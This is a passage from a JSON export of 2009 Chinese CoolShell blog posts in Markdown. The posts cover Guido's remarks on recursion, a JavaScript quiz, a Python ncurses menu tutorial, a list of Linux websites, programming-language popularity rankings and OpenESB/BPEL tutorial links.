[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2394.html)[九个PHP很有用的功能](https://coolshell.cn/articles/2394.html)\nThe post [使用PHP的cURL库](https://coolshell.cn/articles/664.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-26 Guido认为程序员大多数工作不需要递归.md",
    "content": "---\nlayout: post\ntitle: Guido认为程序员大多数工作不需要递归\ndate: 2009/4/26/ 11:10:15\nupdated: 2009/4/26/ 11:10:15\nstatus: publish\npublished: true\ntype: post\n---\n\nPython的创造者Guido在最近一篇关于为什么Python里没有 Tail Recurssion Elimination （暂译：尾递归优化）的文章中提到一个我们可能经常听到的观点“真正的程序员一般不用递归”。\n\n\n<http://neopythonic.blogspot.com/2009/04/tail-recursion-elimination.html>\n\n\n\n> Third, I don’t believe in recursion as the basis of all programming. This is a fundamental belief of certain computer scientists, especially those who love Scheme and like to teach programming by starting with a “cons” cell and recursion. But to me, seeing recursion as the basis of everything else is just a nice theoretical approach to fundamental mathematics ([turtles all the way down](http://en.wikipedia.org/wiki/Turtles_all_the_way_down)), not a day-to-day tool.\n> \n> \n> 翻译：（第三点）我不认为递归是编程的基础。递归是一些计算机科学家们，尤其是那些热爱Scheme （lisp的一支）和喜欢用‘cons’ 来教表头表尾和递归的人们。但是对我（Guido）来说，递归只是一些为基础数学研究而存在的理论手段（例如分形几何学），而不是日常的编程工具。\n> \n> \n\n\n这也再次证明当年“耗”哥当年在楼下遛弯时候给我的教导，好的程序员不在于多么会写看似非常聪明的代码，重要的是能够思路清晰的用最简单的方式解决问题。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2998.html)[HTML5 小游戏展示](https://coolshell.cn/articles/2998.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/6424.html)[Hash Collision DoS 问题](https://coolshell.cn/articles/6424.html)\n* [![伙伴分配器的一个极简实现](../wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg)](https://coolshell.cn/articles/10427.html)[伙伴分配器的一个极简实现](https://coolshell.cn/articles/10427.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [![20个优秀的Javascript导航技术](../wp-content/uploads/2009/05/29-02_menu_matic-150x150.jpg)](https://coolshell.cn/articles/918.html)[20个优秀的Javascript导航技术](https://coolshell.cn/articles/918.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/971.html)[质量管理经中的八个法则](https://coolshell.cn/articles/971.html)\nThe post [Guido认为程序员大多数工作不需要递归](https://coolshell.cn/articles/694.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-26 你能做对下面这些JavaScript的题吗？.md",
    "content": "---\nlayout: post\ntitle: 你能做对下面这些JavaScript的题吗？\ndate: 2009/4/26/ 6:48:51\nupdated: 2009/4/26/ 6:48:51\nstatus: publish\npublished: true\ntype: post\n---\n\n你能做对下面这些JavaScript的题吗？\n\n\n[原文](http://asserttrue.blogspot.com/2009/04/can-you-pass-this-javascript-test.html)\n\n\n你认为你了解JavaScript? 快速的做一下下面的这些题目。并将下面的每一个表达式的值写出。(答案在问题后面)\n\n\n1. ++Math.PI  \n\n2. (0.1 + 0.2) + 0.3 == 0.1 + (0.2 + 0.3)  \n\n3. typeof NaN  \n\n4. typeof typeof undefined  \n\n5. a = {null:null}; typeof a.null;  \n\n6. a = “5”; b = “2”; c = a \\* b;  \n\n7. a = “5”; b = 2; c = a+++b;  \n\n8. isNaN(1/null)  \n\n9. (16).toString(16)  \n\n10.016 \\* 2  \n\n11.~null  \n\n12.”ab c”.match(/\\b\\w\\b/)\n\n\n  \n\n首先，这不是一个入门教程，因此我不会去对每一个答案做单独的解释，如果你觉得你有不理解的地方，我建议你 while (!掌握()) 专研它();\n\n\n答案：  \n\n1. 4.141592653589793  \n\n2. false  \n\n3. “number”  \n\n4. “string”  \n\n5. “object”  \n\n6. 10  \n\n7. 7  \n\n8. false  \n\n9. 10  \n\n10. 28  \n\n11. -1  \n\n12. [ “c” ]\n\n\n我的打分如下(每答对一题一分)：\n\n\n5分 – 7分: 了解javascript  \n\n8分 – 10分: 专家  \n\n11: 大学士  \n\n12分: 大师\n\n\n简要的注释：  \n\n第2题：答案是false，javascript和java非常相似(或则其他使用了IEEE 754浮点数的语言)，这也是为什么在和钱打交道的正式应用程序中一般不使用浮点数四则运算的原因，浮点数的加或乘除外，下面[这篇](http://www.macaulay.ac.uk/fearlus/floating-point/)文章有关于浮点数四则运算的一个详细的讨论。\n\n\n第6题：在四则运算表达式中使用乘、除或减，如果表达式中包含一个或多个字符型，那么语法解释器会试着首先将字符型转换为数值型，如果算术表达式包含着加号运算，那么所有的运算项都会被转换成字符型。\n\n\n第7题：JavaScript中表达式的运算的优先级是从坐到右(类似于Java和C)，因此，在这里将会是一个先a计算值，加上b，然后在a++的次序，而不是a加上++b这样的运算。\n\n\n第9题：toString() 可以带一个可选的数字参数。参数值16意味着基于16进制，返回的字符串将会是该数字的16进制表示，在这个例子里面就是10，如果你写.toString(2)那么你将会得到这个数字的2进制表示，等等。\n\n\n第10题：016是8进制表示，即8进制的14。虽然是这样，但比较有趣的是，如果有你以”016″(字符串形式)去乘上一个数，语法解释器会认为”016″是基于10进制的数。\n\n\n如果你不能正确的写出这些题目的答案，不要灰心丧气，因为几乎上面的每一个问题都(明显地)含有着蒙蔽人小伎俩，现在让我问面对它。当然，如果你非常正确的回答了上面的所有问题，你也不必太过沾沾自喜，这意味着这你仅仅是一个比任何正常人都奇怪的javascript怪杰而已！\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [你能做对下面这些JavaScript的题吗？](https://coolshell.cn/articles/688.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-26 用Python写NCurses UI.md",
    "content": "---\nlayout: post\ntitle: 用Python写NCurses UI\ndate: 2009/4/26/ 2:19:41\nupdated: 2009/4/26/ 2:19:41\nstatus: publish\npublished: true\ntype: post\n---\n\nNcurses是一个能提供基于文本终端窗口功能的动态库. Ncurses可以:\n\n\n* 可以使用整个屏幕\n* 创建和管理一个窗口\n* 使用8种不同的彩色\n* 为您的程序提供鼠标支持\n* 使用键盘上的功能键\n\n\nNcurses可以在任何遵循ANSI/POSIX标准的Unix/Linux系统上运行，除此之外，它还可以从系统数据库中检测终端的属性,，并且自动进行调整,提供一个不受终端约束的接口。因此,Ncurses可以在不同的系统平台和不同的终端上工作的非常好。\n\n\n\nmc工具集就是一个用ncurses写的很好的例子,而且在终端上系统核心配置的界面同样是用ncurses编写的. 下面就是它们的截图：\n\n\n[![ncurses_example](../wp-content/uploads/2009/04/ncurses_example.jpg \"ncurses_example\")](https://coolshell.cn/wp-content/uploads/2009/04/ncurses_example.jpg)\n\n\n当然，在我们这篇文章中，我们不会教你怎么写NCurses程序，我们只是想告诉你如何用Python来写Ncurses的程序，示例会非常简单，点到为止。\n\n\n在此之前，我们先简单的回顾一下如何使用Python的一些简单的语法。\n\n\n先看看一个最简单的Python程序：\n\n\n\n```\n\nprint \"How easy is this?\" \n\nx = 1\ny = 2\nz = x + y\n\nprint \"Result of x + y is\", z\n\n```\n\n程序很简单，我就不多说，把这个文件存成test.py，然后在命令行下调用python test.py就可以看到输出了。\n\n\n下面我们再来看一个Python的函数定义——还是很简单，我也不用多说了。\n\n\n\n```\n\ndef saystuff(mystring):\n     print \"You said:\", mystring \n\nsaystuff(\"Bach rules\")\nsaystuff(\"So does Telemann\")\n\n```\n\n好，言归正传，让我们来看一下，如何在Python中使用NCurses，下面是一个小例程：\n\n\n\n```\n\nimport curses \n\nmyscreen = curses.initscr()\n\nmyscreen.border(0)\nmyscreen.addstr(12, 25, \"Python curses in action!\")\nmyscreen.refresh()\nmyscreen.getch()\n\ncurses.endwin()\n\n```\n\n注意这个示例中的第一行import curses，表明使用curses库，然后这个示像在屏幕中间输出“Python curses in action!”字样，其中坐标为12, 25，注意，在字符界面下，80 x 25是屏幕大小，其用的是字符，而不是像素。下面是运行后的抓屏：\n\n\n[![python_ncursespy](../wp-content/uploads/2009/04/python_ncursespy.jpg \"python_ncursespy\")](https://coolshell.cn/wp-content/uploads/2009/04/python_ncursespy.jpg)\n\n\n 最后，我们再来看一个数字菜单的示例：\n\n\n\n```\n\n#!/usr/bin/env python\n\nfrom os import system\nimport curses\n\ndef get_param(prompt_string):\n     screen.clear()\n     screen.border(0)\n     screen.addstr(2, 2, prompt_string)\n     screen.refresh()\n     input = screen.getstr(10, 10, 60)\n     return input\n\ndef execute_cmd(cmd_string):\n     system(\"clear\")\n     a = system(cmd_string)\n     print \"\"\n     if a == 0:\n          print \"Command executed correctly\"\n     else:\n          print \"Command terminated with error\"\n     raw_input(\"Press enter\")\n     print \"\"\n\nx = 0\n\nwhile x != ord('4'):\n     screen = curses.initscr()\n\n     screen.clear()\n     screen.border(0)\n     screen.addstr(2, 2, \"Please enter a number...\")\n     screen.addstr(4, 4, \"1 - Add a user\")\n     screen.addstr(5, 4, \"2 - Restart Apache\")\n     screen.addstr(6, 4, \"3 - Show disk space\")\n     screen.addstr(7, 4, \"4 - Exit\")\n     screen.refresh()\n\n     x = screen.getch()\n\n     if x == ord('1'):\n          username = get_param(\"Enter the username\")\n          homedir = get_param(\"Enter the home directory, eg /home/nate\")\n          groups = get_param(\"Enter comma-separated groups, eg adm,dialout,cdrom\")\n          shell = get_param(\"Enter the shell, eg /bin/bash:\")\n          curses.endwin()\n          execute_cmd(\"useradd -d \" + homedir + \" -g 1000 -G \" + groups + \" -m -s \" + shell + \" \" + username)\n     if x == ord('2'):\n          curses.endwin()\n          execute_cmd(\"apachectl restart\")\n     if x == ord('3'):\n          curses.endwin()\n          execute_cmd(\"df -h\")\n\ncurses.endwin()\n\n```\n\n下面是运行时的显示：\n\n\n[![python_ncurses](../wp-content/uploads/2009/04/python_ncurses.jpg \"python_ncurses\")](https://coolshell.cn/wp-content/uploads/2009/04/python_ncurses.jpg)\n\n\n如果你你了解NCurses编程，你可以看看相关的Linux HOW-TO的文章，链接在这里：[Linux Documentation Project’s NCURSES Programming How To](http://www.linux.org/docs/ldp/howto/NCURSES-Programming-HOWTO/index.html)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\nThe post [用Python写NCurses UI](https://coolshell.cn/articles/677.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-28 25个Linux相关的网站.md",
    "content": "---\nlayout: post\ntitle: 25个Linux相关的网站\ndate: 2009/4/28/ 5:33:12\nupdated: 2009/4/28/ 5:33:12\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是25个最具有影响力，也是最重要的Linux网站，这些网站提供了Linux的分发包，软件，文件，新闻，以及其它所有的关于Linux的东西。关于Linux的分发包历史，可以看看本站的这篇文章《[Linux Distribution Timeline](https://coolshell.cn/articles/85.html)》\n\n\n1. [Linux.org](http://www.linux.org/)\n\n\n这个站点主要提供Linux相关的新闻、文档、教程，培训，以及其它一切和Linux相关的东西。这是你需要了解Linux开源社区的总入口。\n\n\n2. [Debian.org](http://www.debian.org/)\n\n\n如果你想要了解所有关于 Debian 和Linux/GNU 操作系统的相关信息，这个网站是必需要访问的，因为这是Debian的官网。\n\n\n\n3. [Ubuntu.com](http://www.ubuntu.com/)\n\n\n这可能是桌面系统上最流行的Linux分发包了。\n\n\n4. [Fedora.com](http://www.fedora.com/)\n\n\nFedora 的官网。Fedora 是一个开放的、创新的、前瞻性的操作系统和平台，基于 Linux。它允许任何人自由地使用、修改和重发布，无论现在还是将来。它由一个强大的社群开发，这个社群的成员以自己的不懈努力，提供并维护自由、开放源码的软件和开放的标准。Fedora 项目由 Fedora 基金会管理和控制，得到了 Red Hat, Inc. 的支持。\n\n\n5. [Novell.com](http://www.novell.com/)\n\n\nSuSE 也是一个相当不错的Linux分发包，这是SuSE的官网。SUSE Linux 原来是德国的 SuSE Linux AG公司发行维护的Linux发行版，是属于此公司的注册商标。2004年这家公司被Novell公司收购。\n\n\n6. [OpenSUSE.org](http://www.opensuse.org/)\n\n\n现在的 SUSE Linux 由 openSUSE 项目所维护，这个项目的主要目标是使 SUSE Linux 成为最易获得和最广泛使用的Linux，成为最棒的用户Linux桌面环境。\n\n\n7. [RedHat.com](http://www.redhat.com/)\n\n\nLinux红帽子分发包，RedHat致力于服务器和企业级领域的开发。RedHat可能是所有Linux开发包中最挣钱的一个了。\n\n\n8. [Mandriva.com](http://www.mandriva.com/)\n\n\nMandriva 分发包的官网。Mandriva 是来自浪漫之国–法国的 Linux 发行套件之一。她是由mandrake和Conectiva两者发展而来的。同样她也提供免费版下载，是最易用的linux发行版本之一。现在最新版本是Mandriva Linux 2009。新人推荐使用。Mandriva Linux（原先的Mandrakelinux）创建于1998年，它以使Linux对每一个人都易用 为目标。当时Linux作为操作系统已经以强大和稳定而闻名，但它要求人们有很强的专业知识，并涉及大量的命令行操作。MandrakeSoft认为这是一个将最好的图形桌面环境以及它自己的图形界面配置工具集成到Linux中的机会，并且很快就以作为Linux易用性和功能性的典范而著称。Mandriva Linux以易用和令人愉快的软件环境，向个人用户和企业用户提供了Linux的所有强大功能和稳定性。每天都有成千上万的用户在初识Linux并发现它可以完全替代之前所使用的操作系统。无论是作为服务器还是工作站，Linux都用不着去妒嫉任何其他更广为采用的操作系统。\n\n\n9. [Linux Mint.com](http://www.linuxmint.com/)\n\n\nLinux Mint分发包的官网。Linux Mint是一份基于Ubuntu的发行，其目标是提供一种更完整的即刻可用体验，这包括提供浏览器插件、多媒体编解码器、对DVD播放的支持、Java和其他组件。它与Ubuntu软件仓库兼容。\n\n\n10. [PCLinuxOS.com](http://www.pclinuxos.com/)\n\n\nLinux 的 PCLinuxOS 分发包。PCLinuxOS是一份优秀的发行版，在国外很流行，在distrowatch.com的关注度与Ubuntu、Fedora、openSUSE不分高下。\n\n\n11. [CentOS.org](http://www.centos.org/)\n\n\nCentOS 官网。CentOS计划所推出──全名为”社区企业操作系统”（Community Enterprise Operating System）的这个计划是在2003年红帽决定不再提供免费的技术支持及产品认证之后的部份”红帽重建者”（Red Hat rebuilders）之一。redhat.com发布redhat 9(简写为rh9)后，不再开发redhat 10,11…,全面转向redhat enterprise linux(简写为rhel)的开发，和以往不同的是,新的rhel 3要求用户先购买lisence,redhat.com承诺保证产品的稳定性，安全性。rhel 3二进制代码不再提供下载，而是作为redhat 服务的一部分，但源代码依然是open。所以有了centos ,whitebox,dao 等等一批open source的企业版本，其中centos最为活跃。\n\n\n12. [Simply MEPIS](http://www.mepis.org/)\n\n\nMEPIS 分发包官网。MEPIS Linux是一份Linux桌面系统，它也能被方便地配置成专用的服务器。它被设计为同时适合于个人和商用目的。它拥有最新的特性，例如它是一张自启动运行/安装/修复光盘，以及自动配置硬件，NTFS分区大小调整支持，ACPI电源管理，WiFi支持，反混淆TrueType字体，个人防火墙，KDE桌面等等。\n\n\n13. [PC BSD](http://www.pcbsd.org/)\n\n\nPCBSD是基于FreeBSD的以桌面应用为目的的操作系统。PCBSD默认安装KDE桌面.它提供LINUX兼容模式，可以使用linux中优秀的媒体工具、办公软件，你可以像linux桌面版一样使用它。与FreeBSD的区别：PCBSD主要面向桌面应用，而FreeBSD主要针对服务器。PCBSD基于FREEBSD内核与KDE桌面，FreeBSD默认情况下是命令行界面\n\n\n14. [Distrowatch.com](http://www.distrowatch.com/)\n\n\n这是个非常不错的网站。你可以从这个网站上了解到所有Linux分发包的新闻和信息。\n\n\n15. [Tuxmachines.org](http://tuxmachines.org/)\n\n\nTuxmachines.org 也是一个提供所有和Linux相关信息的网站。\n\n\n16. [Linux Kernel](http://www.kernel.org/)\n\n\n相了解Linux的内核的吗？这个网站你不能不去。这个网站上拥有世界上对Linux最狂热的人。\n\n\n17. [Linux Planet](http://www.linuxplanet.com/)\n\n\n也是一个关于Linux文章和信息的网站。如果你想跟上Linux的步伐，你需要经常上这个网站。\n\n\n18. [Tuxs.org](http://www.tuxs.org/)\n\n\n一个提供指南和教程的linux的站点。\n\n\n19. [Linux Foundation](http://www.linuxfoundation.org/)\n\n\n这是Linux专家级的站点，上面有很多新闻，文章等等。\n\n\n20. [Linuxgazette.com](http://linuxgazette.net/)\n\n\n一个专家云集的BLOG社区。\n\n\n21. [Linux Journal](http://www.linuxjournal.com/)\n\n\nLinux Journal团队的官网，提供了大量的How-To，教程，以及其它很多的Linux信息和技术文章。\n\n\n22. [Linux International](http://www.li.org/)\n\n\nLinux International 一个 vendor 组织其主要促进Linux操作系统。\n\n\n23. [Linux Headquarters](http://www.linuxhq.com/)\n\n\nLinux总部。又是一个很不错的网站，提供了很多关于Linux的新闻，链接，通知等等。\n\n\n24. [Linux Documentation Project](http://tldp.org/)\n\n\n这是一个基于Web站点的项目，其想要提供一个完整的质量上乘的Linux文档。也是一群充满激情的Linux狂热份子。\n\n\n25. [Linux World](http://www.linuxworld.com/)\n\n\nLinux World 主要面对的是企业级的应用和实现。这个网站提供了很多机会、技术和新闻，以及很多解决方案。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [25个Linux相关的网站](https://coolshell.cn/articles/701.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-28 编程语言流行度排名.md",
    "content": "---\nlayout: post\ntitle: 编程语言流行度排名\ndate: 2009/4/28/ 9:44:49\nupdated: 2009/4/28/ 9:44:49\nstatus: publish\npublished: true\ntype: post\n---\n\n下面的这些排名并不是非常科学的，它们只是从某种方面表现出了编程语言的流行程度。仅供参考。\n\n\n  \n\n**Yahoo Search**  \n\n这里，我们使用了Yahoo Search API，简单地搜索了一下相关的编程语言。收搜字样是”language programming”，下面是搜索到的页面结果。也许这能够说明语言的流行程度。 \n\n\n　　\n\n\n**工作相关**  \n\n接下来，我们来看看与工作相关的页面。也是从Yahoo Search API中从Craigslist.org网站中取得这些数据。搜索模型如下：language programmer -“job wanted” site:craigslist.org。这个结果可以看到全球的雇主在雇佣技术人员的时候所要求的编程语言的数量分布。\n\n\n　　\n\n**技术书籍**  \n\n下面是由Amason所提供的搜索API中得到的目前出版物中的编程语言相关的统计数据，一般来说，越流行的语言通常会有更多的书籍。我们来看看书籍方面的各语言的书籍数量的排行榜。\n\n\n　　\n\n**Google Code 开源项目**  \n\n下面的结果取自Googel Code (http://www.google.com/codesearch)，我们通过统计开源项目所使用的语言来查看是哪种语言在开源项目中的流行程度。\n\n\n　　\n\n**Del.icio.us**  \n\ndel.icio.us是一个网摘网站，它提供的是一种收藏、分类、排序、分享互联网信息资源的方式。使用它存储网址和相关信息列表，使用标签(Tag)对网址进行索引使网址资源有序分类和索引，使网址及相关信息的社会性分享成为可能，在分享的人为参与的过程中网址的价值被给予评估。我们来看看BLOG社区中语言流行的程度。\n\n\n　　\n\n**Ohloh 开源项目**\n\n\n让我们再来看一下[Ohloh](http://www.ohloh.net/) 上的开源项目所使用的编程语言的统计图。\n\n\n　　\n\n**programming.reddit.com**  \n\n我们再来看看聚合网站programming.reddit.com上的编程语言文章统计情况。\n\n\n　　\n\n**Slashdot**  \n\n我们来看看Slashdot.org上的编程语言的排名情况吧。还是主要根据相关的贴子的数量做统计。\n\n\n　　\n\n**IRC**  \n\n这里的数据来源于[Freenode](http://freenode.net/) [IRC](http://en.wikipedia.org/wiki/IRC)网络。\n\n\n　　\n \n\n\n最后，如果你对其中的某些语言不是很熟悉的话，下面是维基百科上关于这些语言的链接。\n\n\n- [Actionscript](http://en.wikipedia.org/wiki/Actionscript)\n\n- [Ada](http://en.wikipedia.org/wiki/Ada_(programming_language))\n\n- [Assembly](http://en.wikipedia.org/wiki/Assembly_language)\n\n- [C](http://en.wikipedia.org/wiki/C_(programming_language))\n\n- [C#](http://en.wikipedia.org/wiki/C_Sharp_(programming_language))\n\n- [C++](http://en.wikipedia.org/wiki/C%2B%2B)\n\n- [Cobol](http://en.wikipedia.org/wiki/Cobol)\n\n- [D](http://en.wikipedia.org/wiki/D_(programming_language))\n\n- [Delphi](http://en.wikipedia.org/wiki/Delphi_programming_language)\n\n- [Erlang](http://en.wikipedia.org/wiki/Erlang_(programming_language))\n\n- [Forth](http://en.wikipedia.org/wiki/Forth_(programming_language))\n\n- [Fortran](http://en.wikipedia.org/wiki/Fortran)\n\n- [Haskell](http://en.wikipedia.org/wiki/Haskell_(programming_language))\n\n- [Java](http://en.wikipedia.org/wiki/Java_(programming_language))\n\n- [JavaScript](http://en.wikipedia.org/wiki/JavaScript)\n\n- [Lisp](http://en.wikipedia.org/wiki/Lisp_(programming_language))\n\n- [Lua](http://en.wikipedia.org/wiki/Lua_(programming_language))\n\n- [OCaml](http://en.wikipedia.org/wiki/OCaml)\n\n- [PHP](http://en.wikipedia.org/wiki/PHP)\n\n- [Pascal](http://en.wikipedia.org/wiki/Pascal_(programming_language))\n\n- [Perl](http://en.wikipedia.org/wiki/Perl)\n\n- [Python](http://en.wikipedia.org/wiki/Python_(programming_language))\n\n- [Ruby](http://en.wikipedia.org/wiki/Ruby_(programming_language))\n\n- [SQL](http://en.wikipedia.org/wiki/SQL)\n\n- [Scheme](http://en.wikipedia.org/wiki/Scheme_(programming_language))\n\n- [Shell](http://en.wikipedia.org/wiki/Bourne_shell)\n\n- [Smalltalk](http://en.wikipedia.org/wiki/Smalltalk)\n\n- [Tcl](http://en.wikipedia.org/wiki/Tcl)\n\n- [Visual Basic](http://en.wikipedia.org/wiki/Visual%20Basic)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/4626.html)[读书笔记：对线程模型的批评](https://coolshell.cn/articles/4626.html)\n* [![编程语言流行度](../wp-content/uploads/2010/12/rank_scatter1-150x150.png)](https://coolshell.cn/articles/3385.html)[编程语言流行度](https://coolshell.cn/articles/3385.html)\n* [![编程语言进化](../wp-content/uploads/2010/10/language-evolution-150x150.jpg)](https://coolshell.cn/articles/3100.html)[编程语言进化](https://coolshell.cn/articles/3100.html)\n* [![计算机编程简史图](../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg)](https://coolshell.cn/articles/2724.html)[计算机编程简史图](https://coolshell.cn/articles/2724.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg](https://coolshell.cn/articles/2598.html)[五个编程语言设计的失误](https://coolshell.cn/articles/2598.html)\nThe post [编程语言流行度排名](https://coolshell.cn/articles/706.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-29 Glassfish ESB 的教程.md",
    "content": "---\nlayout: post\ntitle: Glassfish ESB 的教程\ndate: 2009/4/29/ 6:18:27\nupdated: 2009/4/29/ 6:18:27\nstatus: publish\npublished: true\ntype: post\n---\n\n[OpenESB](https://open-esb.dev.java.net/)项目实现了一个运行期企业服务总线(Enterprise Service Bus:ESB)使用JBI(Java业务集成)作为核心基础。OpenESB可以让你集成企业应用与Web Service松散地连接成复合的应用程序。这使得你可以无缝地组合与拆解该复合应用程序，并认识到一个真正面向服务架构(SOA)的优点。\n\n\nBPEL是一种编程语言，它明确定义了基于Web服务的业务流程。BPEL在支持业务伙伴间的长时间会话方面表现尤为卓越。BPEL将成为基于Web服务的业务流程最广泛采用的标准，这一趋势早在该标准正式发布前就已经非常明显。\n\n\nBPEL适用于支持业务流程逻辑的“宏观编程”。这些业务流程均是完整而独立的应用，它们将Web服务作为实现其业务功能的“活动”。BPEL不致力于成为通用的编程语言，相反，它的应用设想就是与其他实现业务功能（“微观编程”）的编程语言结合使用。\n\n\n\nOpenESB上有一些BPEL教程都是非常有趣的，下面一些教程的例子：\n\n\n<http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro1.swf>  \n\n<http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro2.swf>  \n\n<http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro3.swf>  \n\n<http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro4.swf>  \n\n<http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/gfesbTute5-annotated.swf>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* 